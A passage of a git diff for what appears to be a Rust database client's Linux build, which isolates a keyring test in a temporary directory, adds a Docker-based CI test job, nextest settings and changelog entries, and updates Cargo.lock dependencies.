diff --git a/.claude/skills/fix-issue/scripts/lib/platform-linux.sh b/.claude/skills/fix-issue/scripts/lib/platform-linux.sh index e77cf7f6e4..2263ad4b9b 100644 --- a/.claude/skills/fix-issue/scripts/lib/platform-linux.sh +++ b/.claude/skills/fix-issue/scripts/lib/platform-linux.sh @@ -433,12 +433,20 @@ platform_step() { require_tool dbus-run-session require_tool gnome-keyring-daemon log="$(new_log secrets)" - # A private bus with a throwaway keyring, so the tests never touch the user's real one. - run_appending "$log" dbus-run-session -- bash -c \ + # gnome-keyring-daemon keeps its keyrings under XDG_DATA_HOME and its control socket + # under XDG_RUNTIME_DIR. A private bus alone left both pointing at the user's own, so + # this step rewrote the developer's login keyring with the test password. Both now + # point at a directory that exists only for this run. + local keyring_home + keyring_home="$(mktemp -d)" || { STATUS=INCONCLUSIVE; note "cause: no temporary directory for the throwaway keyring. Nothing was run."; emit "" 2; } + mkdir -m 700 "$keyring_home/data" "$keyring_home/run" + run_appending "$log" env XDG_DATA_HOME="$keyring_home/data" XDG_RUNTIME_DIR="$keyring_home/run" \ + dbus-run-session -- bash -c \ "gnome-keyring-daemon --components=secrets --daemonize --unlock <<< ci > /dev/null \ && meson devenv -C '$BUILD_DIR' --workdir '$LINUX_DIR' \ cargo test --locked -p tablepro-storage --test secret_service -- --ignored" code=$? + rm -rf "$keyring_home" report_tests "$log" 0 [ $code -ne 0 ] && [ "$STATUS" = PASS ] && STATUS=FAIL diagnose_environment "$log" && STATUS=INCONCLUSIVE diff --git a/.github/workflows/build-linux.yml b/.github/workflows/build-linux.yml index dfe0164715..cbace07619 100644 --- a/.github/workflows/build-linux.yml +++ b/.github/workflows/build-linux.yml @@ -204,3 +204,65 @@ jobs: with: name: junit-${{ matrix.package }} path: linux/target/nextest/ci/junit.xml + + integration-session: + # The session crate builds tablepro-storage, which links GIO 2.88, + # and the host runner ships 2.80, so this entry runs in the fast + # job's image instead of the matrix above. The host's Docker socket + # is mounted; testcontainers sees /.dockerenv and reaches the + # containers it starts through the bridge gateway. + name: Docker tests (tablepro-session) + runs-on: ubuntu-24.04 + needs: fast + container: + image: ubuntu:26.04 + env: + DEBIAN_FRONTEND: noninteractive + options: -v /var/run/docker.sock:/var/run/docker.sock + defaults: + run: + working-directory: linux + steps: + - name: Install git + run: | + apt-get update + apt-get install -y --no-install-recommends ca-certificates git + git config --global --add safe.directory "$GITHUB_WORKSPACE" + working-directory: / + - uses: actions/checkout@v5 + with: + ref: ${{ github.event_name == 'schedule' && 'linux' || github.ref }} + - name: Install system dependencies + # The glib, sqlite and clang development packages the fast job + # builds storage with, plus openssh-client for the tunnel tests. + run: | + apt-get install -y --no-install-recommends \ + build-essential \ + curl \ + pkgconf \ + libglib2.0-dev \ + libsqlite3-dev \ + clang \ + libclang-dev \ + openssh-client + - uses: dtolnay/rust-toolchain@ce678459e9fc7500d337468f904b95f1b5c10b5e # 1.98 + with: + toolchain: "1.98" + - uses: Swatinem/rust-cache@v2 + with: + workspaces: linux + key: tablepro-session + - uses: taiki-e/install-action@3f74d7c16a4242f1c95561e98edc25d36adb4375 # v2.87.12 + with: + tool: cargo-nextest@0.9.144 + - name: Verify docker is available + # No Docker CLI in the image; the API answers on the socket. + run: curl --fail --silent --show-error --unix-socket /var/run/docker.sock http://localhost/_ping + - name: Docker tests + run: cargo nextest run --locked --profile ci -p tablepro-session --run-ignored only + - name: Upload JUnit report + if: always() + uses: actions/upload-artifact@043fb46d1a93c77aae656e7c1c64a875d1fc6a0a # v7.0.1 + with: + name: junit-tablepro-session + path: linux/target/nextest/ci/junit.xml diff --git a/linux/.config/nextest.toml b/linux/.config/nextest.toml index a1d5d3a511..e8f1c2169e 100644 --- a/linux/.config/nextest.toml +++ b/linux/.config/nextest.toml @@ -5,6 +5,20 @@ mssql = { max-threads = 1 } clickhouse = { max-threads = 1 } ssh = { max-threads = 1 } fixtures = { max-threads = 1 } +session = { max-threads = 1 } + +[profile.default] +# tiberius 0.13 stops reading at the first end of message, so an attention +# sent while SQL Server is still waiting is never acknowledged and the +# connection is dropped: https://github.com/tiberius-rs/tiberius/issues/459. +# Remove once a release has the fix. +default-filter = """ +not (package(tablepro-driver-mssql) & ( + test(=cancellation::editor_waitfor_cancel_then_select1_same_client) + | test(=cancellation::pooled_query_bound_waitfor_deadline_server_cancelled_client_reused) + | test(=conformance_engine::suite::editor_cancel_reports_cancelled_and_session_stays_ready) +)) +""" [[profile.default.overrides]] filter = 'package(tablepro-driver-postgres)' @@ -30,8 +44,15 @@ test-group = 'ssh' filter = 'package(tablepro-test-fixtures)' test-group = 'fixtures' +[[profile.default.overrides]] +filter = 'package(tablepro-session)' +test-group = 'session' + [profile.ci] fail-fast = false +# A hung test fails with its name after five minutes. Without a bound it +# holds the runner until the job dies with no report. +slow-timeout = { period = "60s", terminate-after = 5 } [profile.ci.junit] path = "junit.xml" diff --git a/linux/CHANGELOG.md b/linux/CHANGELOG.md index e163e44808..5aa8e0614c 100644 --- a/linux/CHANGELOG.md +++ b/linux/CHANGELOG.md @@ -6,3 +6,15 @@ The format is based on [Keep a Changelog 1.1.0](https://keepachangelog.com/en/1. and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html). ## [Unreleased] + +### Added + +- Password prompt on connect when the keyring holds no password, with a choice to remember it. +- SSH tunnels through the system OpenSSH client, using your SSH agent, host aliases and jump hosts. +- Security group in the connect dialog: encryption mode, CA certificate, client certificate and TLS server name. +- SQLite file chooser in the connect dialog, with New Database to create a file. +- Results list in the SQL editor with one entry per statement, its rows affected or error, and the open transaction. + +### Fixed + +- Format, a query opened from history and a loaded SQL file could not be undone with Ctrl+Z. diff --git a/linux/Cargo.lock b/linux/Cargo.lock index d4aafefda3..56873a98cb 100644 --- a/linux/Cargo.lock +++ b/linux/Cargo.lock @@ -2,22 +2,6 @@ # It is not intended for manual editing. version = 4 -[[package]] -name = "adler2" -version = "2.0.1" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "320119579fcad9c21884f5c4861d16174d0e06250625266f50fe6898340abefa" - -[[package]] -name = "aead" -version = "0.6.1" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "1973cfbc1a2daf9cf550e74e1f088c28e7f7d8c1e1418fb6c9dc5184b7e84c99" -dependencies = [ - "crypto-common 0.2.2", - "inout 0.2.2", -] - [[package]] name = "aes" version = "0.8.4" @@ -25,38 +9,11 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "b169f7a6d4742236a0a00c541b845991d0ac43e546831af1249753ab4c3aa3a0" dependencies = [ "cfg-if", - "cipher 0.4.4", + "cipher", "cpufeatures 0.2.17", "zeroize", ] -[[package]] -name = "aes" -version = "0.9.3" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "35f0f96ce78e38c3dc6d8948aa8163d06385be74000f3c7a95bf1eef35d3ea32" -dependencies = [ - "cipher 0.5.2", - "cpubits", - "cpufeatures 0.3.1", - "zeroize", -] - -[[package]] -name = "aes-gcm" -version = "0.11.1" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "7f2b8006a0c83f52b62ba44a97b58bf76fe2f70a329e588f67f89691d93d498f" -dependencies = [ - "aead", - "aes 0.9.3", - "cipher 0.5.2", - "ctr", - "ctutils", - "ghash", - "zeroize", -] - [[package]] name = "aho-corasick" version = "1.1.5" @@ -87,24 +44,6 @@ version = "1.0.104" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "330a5ed07fa54e4702c9d6c4174f74427fc0ef6e214bbd677ae50a5099946470" -[[package]] -name = "argon2" -version = "0.6.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "134c52ddac6d63c576bef8168db10c83c49c26444ecbc68060fef078925a901c" -dependencies = [ - "base64ct", - "blake2", - "cpufeatures 0.3.1", - "password-hash", -] - -[[package]] -name = "arrayvec" -version = "0.7.8" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "d3fb67a6e08acf24fdeccbac2cb6ac4305825bd1f117462e0e6f2f193345ad56" - [[package]] name = "ashpd" version = "0.13.13" @@ -131,7 +70,7 @@ dependencies = [ "nom", "num-traits", "rusticata-macros", - "thiserror 2.0.20", + "thiserror", "time", ] @@ -232,9 +171,9 @@ dependencies = [ [[package]] name = "asynchronous-codec" -version = "0.6.2" +version = "0.7.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "4057f2c32adbb2fc158e22fb38433c8e9bbf76b75a4732c7c0cbaf695fb65568" +checksum = "a860072022177f903e59730004fb5dc13db9275b79bb2aef7ba8ce831956c233" dependencies = [ "bytes", "futures-sink", @@ -355,17 +294,6 @@ version = "1.8.3" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "2af50177e190e07a26ab74f8b1efbfe2ef87da2116221318cb1c2e82baf7de06" -[[package]] -name = "bcrypt-pbkdf" -version = "0.11.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "144e573728da132683b9488acd528274c790e07fc06ff81ee29f9d8f8b1041e0" -dependencies = [ - "blowfish", - "pbkdf2 0.13.0", - "sha2 0.11.0", -] - [[package]] name = "bindgen" version = "0.71.1" @@ -443,15 +371,6 @@ dependencies = [ "serde_core", ] -[[package]] -name = "blake2" -version = "0.11.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "5b5d4d889834ee8ecfc0f8426ad30faf7cdcb10f741a8e6d7224d95325479f6f" -dependencies = [ - "digest 0.11.3", -] - [[package]] name = "block" version = "0.1.6" @@ -464,7 +383,7 @@ version = "0.10.4" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "3078c7629b62d3f0439517fa394996acacc5cbc91c5a20d8c658e77abd503a71" dependencies = [ - "generic-array 0.14.7", + "generic-array", ] [[package]] @@ -474,7 +393,6 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "d2f6c7dbe95a6ed67ad9f18e57daf93a2f034c524b99fd2b76d18fdfeb6660aa" dependencies = [ "hybrid-array", - "zeroize", ] [[package]] @@ -483,26 +401,7 @@ version = "0.3.3" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "a8894febbff9f758034a5b8e12d87918f56dfc64a8e1fe757d65e29041538d93" dependencies = [ - "generic-array 0.14.7", -] - -[[package]] -name = "block-padding" -version = "0.4.2" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "710f1dd022ef4e93f8a438b4ba958de7f64308434fa6a87104481645cc30068b" -dependencies = [ - "hybrid-array", -] - -[[package]] -name = "blowfish" -version = "0.10.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "62ce3946557b35e71d1bbe07ec385073ce9eda05043f95de134eb578fcf1a298" -dependencies = [ - "byteorder", - "cipher 0.5.2", + "generic-array", ] [[package]] @@ -545,7 +444,7 @@ dependencies = [ "serde_derive", "serde_json", "serde_urlencoded", - "thiserror 2.0.20", + "thiserror", "time", "tokio", "tokio-stream", @@ -585,30 +484,6 @@ dependencies = [ "time", ] -[[package]] -name = "borsh" -version = "1.8.1" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "553c5d846a6ba5150c65e3b1b8ec073bcf1abc20f9b7220de384a4443ea4e20a" -dependencies = [ - "borsh-derive", - "bytes", - "cfg_aliases", -] - -[[package]] -name = "borsh-derive" -version = "1.8.1" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "12cdfe656708a01f89b451a7d36466e6fe6c414de0aa18fc54f864f6f9ca9f56" -dependencies = [ - "once_cell", - "proc-macro-crate", - "proc-macro2", - "quote", - "syn 3.0.5", -] - [[package]] name = "bs58" version = "0.5.1" @@ -677,16 +552,7 @@ version = "0.1.2" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "26b52a9543ae338f279b96b0b9fed9c8093744685043739079ce85cd58f289a6" dependencies = [ - "cipher 0.4.4", -] - -[[package]] -name = "cbc" -version = "0.2.1" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "ce2dc9ee5f88d11e0beb842c88b33c8a5cf0d1329c4b19494af42b07dbfe8896" -dependencies = [ - "cipher 0.5.2", + "cipher", ] [[package]] @@ -726,12 +592,6 @@ version = "1.0.4" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "9330f8b2ff13f34540b44e946ef35111825727b38d33286ef986142615121801" -[[package]] -name = "cfg_aliases" -version = "0.2.2" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "f079e83a288787bcd14a6aea84cee5c87a67c5a3e660c30f557a3d24761b3527" - [[package]] name = "chacha20" version = "0.10.2" @@ -739,10 +599,8 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "65c35e4b699c7e15ccbe7ee35c005e4fc0a278d22238a2857e6ce2dadeda1b06" dependencies = [ "cfg-if", - "cipher 0.5.2", "cpufeatures 0.3.1", "rand_core 0.10.1", - "zeroize", ] [[package]] @@ -766,19 +624,7 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "773f3b9af64447d2ce9850330c473515014aa235e6a783b02db81ff39e4a3dad" dependencies = [ "crypto-common 0.1.7", - "inout 0.1.4", - "zeroize", -] - -[[package]] -name = "cipher" -version = "0.5.2" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "e8cf2a2c93cd704877c0858356ed03480ff301ee950b43f1cbe4573b088bfa6c" -dependencies = [ - "block-buffer 0.12.1", - "crypto-common 0.2.2", - "inout 0.2.2", + "inout", "zeroize", ] @@ -810,12 +656,10 @@ dependencies = [ "hashbrown 0.17.1", "http-body-util", "hyper", - "hyper-rustls", "hyper-util", - "rustls", "serde", "serde_json", - "thiserror 2.0.20", + "thiserror", "tokio", "tracing", "url", @@ -840,7 +684,7 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "3966eea13bfc826e24d471e49cb2095727261009be59d0ac5a6c0be0286974d1" dependencies = [ "bytes", - "thiserror 2.0.20", + "thiserror", ] [[package]] @@ -874,6 +718,12 @@ version = "0.2.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "510ca239cf13b7f8d16a2b48f263de7b4f8c566f0af58d901031473c76afb1e3" +[[package]] +name = "const-oid" +version = "0.9.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c2459377285ad874054d797f3ccebf984978aa39129f6eafde5cdc8315b612f8" + [[package]] name = "const-oid" version = "0.10.2" @@ -979,12 +829,9 @@ checksum = "1a52aa3fcda4e6302a9f48734f234d35d4721b96f8fe07d073f07ce9df4f0271" dependencies = [ "cpubits", "ctutils", - "getrandom 0.4.3", - "hybrid-array", "num-traits", "rand_core 0.10.1", "serdect", - "subtle", "zeroize", ] @@ -994,7 +841,7 @@ version = "0.1.7" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "78c8292055d1c1df0cce5d180393dc8cce0abec0a7102adb6c7b1eef6016d60a" dependencies = [ - "generic-array 0.14.7", + "generic-array", "typenum", ] @@ -1004,9 +851,7 @@ version = "0.2.2" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "ce6e4c961d6cd6c9a86db418387425e8bdeaf05b3c8bc1411e6dca4c252f1453" dependencies = [ - "getrandom 0.4.3", "hybrid-array", - "rand_core 0.10.1", ] [[package]] @@ -1040,15 +885,6 @@ dependencies = [ "memchr", ] -[[package]] -name = "ctr" -version = "0.10.1" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "baaca1c4b237092596f64d571e9db6ce4109c4ef9742e27590f1709594461f21" -dependencies = [ - "cipher 0.5.2", -] - [[package]] name = "ctutils" version = "0.4.2" @@ -1056,35 +892,6 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "7d5515a3834141de9eafb9717ad39eea8247b5674e6066c404e8c4b365d2a29e" dependencies = [ "cmov", - "subtle", -] - -[[package]] -name = "curve25519-dalek" -version = "5.0.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "b5eed333089e2e1c1ac8c6c0398e5e2497b4c9926ca6d0365ed1e099afa5bc23" -dependencies = [ - "cfg-if", - "cpufeatures 0.3.1", - "curve25519-dalek-derive", - "digest 0.11.3", - "fiat-crypto", - "rand_core 0.10.1", - "rustc_version", - "subtle", - "zeroize", -] - -[[package]] -name = "curve25519-dalek-derive" -version = "0.1.1" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "f46882e17999c6cc590af592290432be3bce0428cb0d5f8b6715e4dc7b383eb3" -dependencies = [ - "proc-macro2", - "quote", - "syn 2.0.119", ] [[package]] @@ -1127,6 +934,39 @@ version = "2.11.1" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "4583a4551df46e2792f82ceeac45e850d2e2d5debba0b91f102385cda5b11f06" +[[package]] +name = "deadpool" +version = "0.13.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3e98a7e119cd347f4201e1159b19831029e203e2d8b790547708e8157b4acf1e" +dependencies = [ + "deadpool-runtime", + "tokio", +] + +[[package]] +name = "deadpool-postgres" +version = "0.14.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "65a536565624b97fc19f758cd01b15d12908d3344425066efc8162236fbd3749" +dependencies = [ + "async-trait", + "deadpool", + "getrandom 0.4.3", + "tokio", + "tokio-postgres", + "tracing", +] + +[[package]] +name = "deadpool-runtime" +version = "0.3.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2657f61fb1dd8bf37a8d51093cc7cee4e77125b22f7753f49b289f831bec2bae" +dependencies = [ + "tokio", +] + [[package]] name = "defmt" version = "1.1.1" @@ -1155,18 +995,19 @@ version = "1.0.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "10d60334b3b2e7c9d91ef8150abfb6fa4c1c39ebbcf4a81c2e346aad939fee3e" dependencies = [ - "thiserror 2.0.20", + "thiserror", ] [[package]] -name = "delegate" -version = "0.13.5" +name = "der" +version = "0.7.10" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "780eb241654bf097afb00fc5f054a09b687dad862e485fdcf8399bb056565370" +checksum = "e7c1832837b905bbfb5101e07cc24c8deddf52f93225eee6ead5f4d63d53ddcb" dependencies = [ - "proc-macro2", - "quote", - "syn 2.0.119", + "const-oid 0.9.6", + "der_derive", + "flagset", + "zeroize", ] [[package]] @@ -1175,7 +1016,7 @@ version = "0.8.2" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "a878c850e9e421b20262e9b41f9c860e4785fa07541c266b62ff9d1ef998a80a" dependencies = [ - "const-oid", + "const-oid 0.10.2", "pem-rfc7468", "zeroize", ] @@ -1189,27 +1030,29 @@ dependencies = [ "asn1-rs", "displaydoc", "nom", - "num-bigint 0.4.8", + "num-bigint", "num-traits", "rusticata-macros", ] [[package]] -name = "deranged" -version = "0.5.8" +name = "der_derive" +version = "0.7.3" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "7cd812cc2bc1d69d4764bd80df88b4317eaef9e773c75226407d9bc0876b211c" +checksum = "8034092389675178f570469e6c3b0465d3d30b4505c294a6550db47f3c17ad18" dependencies = [ - "serde_core", + "proc-macro2", + "quote", + "syn 2.0.119", ] [[package]] -name = "des" -version = "0.9.0" +name = "deranged" +version = "0.5.8" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "916a94e407b54f9034d71dd748234cd1e516ced6284009906ae246f177eafe5a" +checksum = "7cd812cc2bc1d69d4764bd80df88b4317eaef9e773c75226407d9bc0876b211c" dependencies = [ - "cipher 0.5.2", + "serde_core", ] [[package]] @@ -1230,7 +1073,7 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "f1dd6dbb5841937940781866fa1281a1ff7bd3bf827091440879f9994983d5c2" dependencies = [ "block-buffer 0.12.1", - "const-oid", + "const-oid 0.10.2", "crypto-common 0.2.2", "ctutils", ] @@ -1275,47 +1118,6 @@ version = "1.0.20" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "d0881ea181b1df73ff77ffaaf9c7544ecc11e82fba9b5f27b262a3c73a332555" -[[package]] -name = "ecdsa" -version = "0.17.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "c0681a4fc24c767085329728d8dfba959af91228aa4610cca4f8ce317ba46ae0" -dependencies = [ - "der", - "digest 0.11.3", - "elliptic-curve", - "rfc6979", - "signature", - "spki", - "zeroize", -] - -[[package]] -name = "ed25519" -version = "3.0.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "29fcf32e6c73d1079f83ab4d782de2d81620346a5f38c6237a86a22f8368980a" -dependencies = [ - "pkcs8", - "signature", -] - -[[package]] -name = "ed25519-dalek" -version = "3.0.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "6ebaa1a2bf1290ab3bfe5a7b771d050ebffab2711c19a81691c683a5144a25de" -dependencies = [ - "curve25519-dalek", - "ed25519", - "rand_core 0.10.1", - "serde", - "sha2 0.11.0", - "signature", - "subtle", - "zeroize", -] - [[package]] name = "either" version = "1.18.0" @@ -1325,28 +1127,6 @@ dependencies = [ "serde", ] -[[package]] -name = "elliptic-curve" -version = "0.14.1" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "9d65aa39b3a5c1c9c1b745c9a019234bb7a21b77abcb4f4d266d706e2d577d65" -dependencies = [ - "base16ct", - "crypto-bigint", - "crypto-common 0.2.2", - "digest 0.11.3", - "ff", - "group", - "hkdf 0.13.0", - "hybrid-array", - "pem-rfc7468", - "pkcs8", - "rand_core 0.10.1", - "sec1", - "subtle", - "zeroize", -] - [[package]] name = "encoding_rs" version = "0.8.41" @@ -1368,18 +1148,6 @@ version = "1.1.1" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "66b7e2430c6dff6a955451e2cfc438f09cea1965a9d6f87f7e3b90decc014099" -[[package]] -name = "enum_dispatch" -version = "0.3.13" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "aa18ce2bc66555b3218614519ac839ddb759a7d6720732f979ef8d13be147ecd" -dependencies = [ - "once_cell", - "proc-macro2", - "quote", - "syn 2.0.119", -] - [[package]] name = "enumflags2" version = "0.7.12" @@ -1447,6 +1215,12 @@ dependencies = [ "pin-project-lite", ] +[[package]] +name = "fallible-iterator" +version = "0.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4443176a9f2c162692bd3d352d745ef9413eec5782a80d8fd6f8a1ac692a07f7" + [[package]] name = "fastrand" version = "2.5.0" @@ -1467,22 +1241,6 @@ dependencies = [ "web-time", ] -[[package]] -name = "ff" -version = "0.14.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "a1f686ab92a9fb0eaf188f6c6c87b89490baa6fdb0db4544ba4dc47f7942489f" -dependencies = [ - "rand_core 0.10.1", - "subtle", -] - -[[package]] -name = "fiat-crypto" -version = "0.3.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "64cd1e32ddd350061ae6edb1b082d7c54915b5c672c389143b9a63403a109f24" - [[package]] name = "field-offset" version = "0.3.6" @@ -1500,13 +1258,17 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "3e0f1c7c3a72c66fd80abe965175f7523475c0489a87d3ff9d6e8c87d87a9d2d" [[package]] -name = "flate2" +name = "flagset" +version = "0.4.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b7ac824320a75a52197e8f2d787f6a38b6718bb6897a35142d749af3c0e8f4fe" + +[[package]] +name = "flate2" version = "1.1.10" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "6e634e2e0ebac1ee034020da1ca582e17ffe4e0f5e985823721e168928136dcb" dependencies = [ - "crc32fast", - "miniz_oxide", "zlib-rs", ] @@ -1653,6 +1415,12 @@ version = "0.3.34" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "cd417de3d1d015fc3bfd2b1ea46dfc7bab72ef86f1cc7cc9c78e728b34a6d1fd" +[[package]] +name = "futures-timer" +version = "3.0.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "af43fadb8a98512d547e37b4e92e0ced13e205c061b87b4623eff01d918d6968" + [[package]] name = "futures-util" version = "0.3.34" @@ -1737,17 +1505,6 @@ dependencies = [ "version_check", ] -[[package]] -name = "generic-array" -version = "1.4.5" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "337d46834ee672ab3e48caca2cb0c78cc174fb12b3a68d0d88f99a0519a5e36e" -dependencies = [ - "generic-array 0.14.7", - "rustversion", - "typenum", -] - [[package]] name = "getrandom" version = "0.2.17" @@ -1756,7 +1513,7 @@ checksum = "ff2abc00be7fca6ebc474524697ae276ad847ad0a6b3faa4bcb027e9a4614ad0" dependencies = [ "cfg-if", "libc", - "wasi", + "wasi 0.11.1+wasi-snapshot-preview1", ] [[package]] @@ -1805,16 +1562,6 @@ dependencies = [ "temp-dir", ] -[[package]] -name = "ghash" -version = "0.6.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "2eecf2d5dc9b66b732b97707a0210906b1d30523eb773193ab777c0c84b3e8d5" -dependencies = [ - "polyval", - "zeroize", -] - [[package]] name = "gio" version = "0.22.9" @@ -1932,17 +1679,6 @@ dependencies = [ "system-deps 9.0.0", ] -[[package]] -name = "group" -version = "0.14.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "7fd1a1c7a5206c5b7a3f5a0d7ccd3ff85d0c8f5133d62a02680255b0004af5f4" -dependencies = [ - "ff", - "rand_core 0.10.1", - "subtle", -] - [[package]] name = "gsk4" version = "0.11.4" @@ -2105,12 +1841,6 @@ version = "0.4.3" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "7f24254aa9a54b5c858eaee2f5bccdb46aaf0e486a595ed5fd8f86ba55232a70" -[[package]] -name = "hex-literal" -version = "1.1.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "e712f64ec3850b98572bffac52e2c6f282b29fe6c5fa6d42334b30be438d95c1" - [[package]] name = "hkdf" version = "0.12.4" @@ -2207,10 +1937,7 @@ version = "0.4.15" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "27f864f10dfb56725ce5ce5472bc52252c8f93a4ab86327122cebf62c5f59a17" dependencies = [ - "ctutils", - "subtle", "typenum", - "zeroize", ] [[package]] @@ -2262,7 +1989,6 @@ dependencies = [ "tokio", "tokio-rustls", "tower-service", - "webpki-roots", ] [[package]] @@ -2479,18 +2205,8 @@ version = "0.1.4" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "879f10e63c20629ecabbb64a8010319738c66a5cd0c29b02d63d272b03751d01" dependencies = [ - "block-padding 0.3.3", - "generic-array 0.14.7", -] - -[[package]] -name = "inout" -version = "0.2.2" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "4250ce6452e92010fdf7268ccc5d14faa80bb12fc741938534c58f16804e03c7" -dependencies = [ - "block-padding 0.4.2", - "hybrid-array", + "block-padding", + "generic-array", ] [[package]] @@ -2589,7 +2305,7 @@ dependencies = [ "jni-sys", "log", "simd_cesu8", - "thiserror 2.0.20", + "thiserror", "walkdir", "windows-link", ] @@ -2647,26 +2363,6 @@ dependencies = [ "wasm-bindgen", ] -[[package]] -name = "keccak" -version = "0.2.2" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "d8f198d1db720e4940b5a493201d199d9f24f568f8f746bd13706243a2f71598" -dependencies = [ - "cfg-if", - "cpufeatures 0.3.1", -] - -[[package]] -name = "kem" -version = "0.3.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "01737161ba802849cfd486b5bd209d38ba4943494c249a8126005170c7621edd" -dependencies = [ - "crypto-common 0.2.2", - "rand_core 0.10.1", -] - [[package]] name = "lazy_static" version = "1.5.0" @@ -2711,13 +2407,12 @@ checksum = "3eaf3ede3fee6db1a4c2ee091bf8a8b4dccdc6d17f656fb07896ee72867612f2" [[package]] name = "libgssapi" -version = "0.8.3" +version = "0.11.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "b9e668df13f2e97f3eed52d9301f6b1c4c1ccfccc30eab9e6628e4a8c1fc3546" +checksum = "e440a6151f5ef06571612e4121709aed90cfc0c40f8161f9090c71656758086d" dependencies = [ "bitflags 2.13.2", "bytes", - "lazy_static", "libgssapi-sys", ] @@ -2747,6 +2442,15 @@ version = "0.2.16" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "b6d2cec3eae94f9f509c767b45932f1ada8350c4bdb85af2fcab4a3c14807981" +[[package]] +name = "libredox" +version = "0.1.25" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "61ff90caf6077a803a240f62fdbe88645a890bbca49ef8174c3cb0404362171d" +dependencies = [ + "libc", +] + [[package]] name = "libsqlite3-sys" version = "0.37.0" @@ -2842,12 +2546,6 @@ dependencies = [ "digest 0.11.3", ] -[[package]] -name = "md5" -version = "0.8.1" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "7ebb8d8732c6a6df3d8f032a82911cfc747e00efb95cc46e8d0acd5b5b88570c" - [[package]] name = "memchr" version = "2.8.3" @@ -2875,16 +2573,6 @@ version = "0.2.1" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "68354c5c6bd36d73ff3feceb05efa59b6acb7626617f4962be322a825e61f79a" -[[package]] -name = "miniz_oxide" -version = "0.9.1" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "b63fbc4a50860e98e7b2aa7804ded1db5cbc3aff9193adaff57a6931bf7c4b4c" -dependencies = [ - "adler2", - "simd-adler32", -] - [[package]] name = "mio" version = "1.2.3" @@ -2892,35 +2580,10 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "4b18443e9c262bfe8fa82f51666e2642c53393f7e5c27b3e1aeab922cff5b9d8" dependencies = [ "libc", - "wasi", + "wasi 0.11.1+wasi-snapshot-preview1", "windows-sys 0.61.2", ] -[[package]] -name = "ml-kem" -version = "0.3.2" 